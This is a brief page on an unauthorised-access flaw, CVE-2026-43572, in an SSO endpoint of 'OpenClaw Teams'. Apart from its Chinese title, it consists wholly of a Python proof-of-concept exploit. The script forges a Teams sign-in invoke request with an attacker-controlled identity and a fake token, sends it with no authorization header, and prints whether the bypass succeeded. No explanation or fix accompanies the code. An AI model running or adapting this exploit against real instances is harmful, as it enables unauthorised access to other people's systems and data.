CVE-2026-43572 OpenClaw Teams SSO未授权访问漏洞

import requests import json # Target URL (Replace with actual endpoint) target_url = "https://target-openclaw-instance/api/teams/sso/invoke" # Malicious payload mimicking a Teams invoke request payload = { "type": "invoke", "name": "ssoSignIn", "from": { "id": "attacker-controlled-id", "name": "Attacker" }, "value": { "authentication": { "token": "fake_token_bypass_validation" } } } headers = { "Content-Type": "application/json" # Note: No authorization headers required due to the vulnerability } try: response = requests.post(target_url, data=json.dumps(payload), headers=headers) if response.status_code == 200: print("[+] Exploit successful! Authorization bypassed.") print("[+] Response:", response.text) else: print("[-] Exploit failed or target patched.") except Exception as e: print(f"Error: {e}")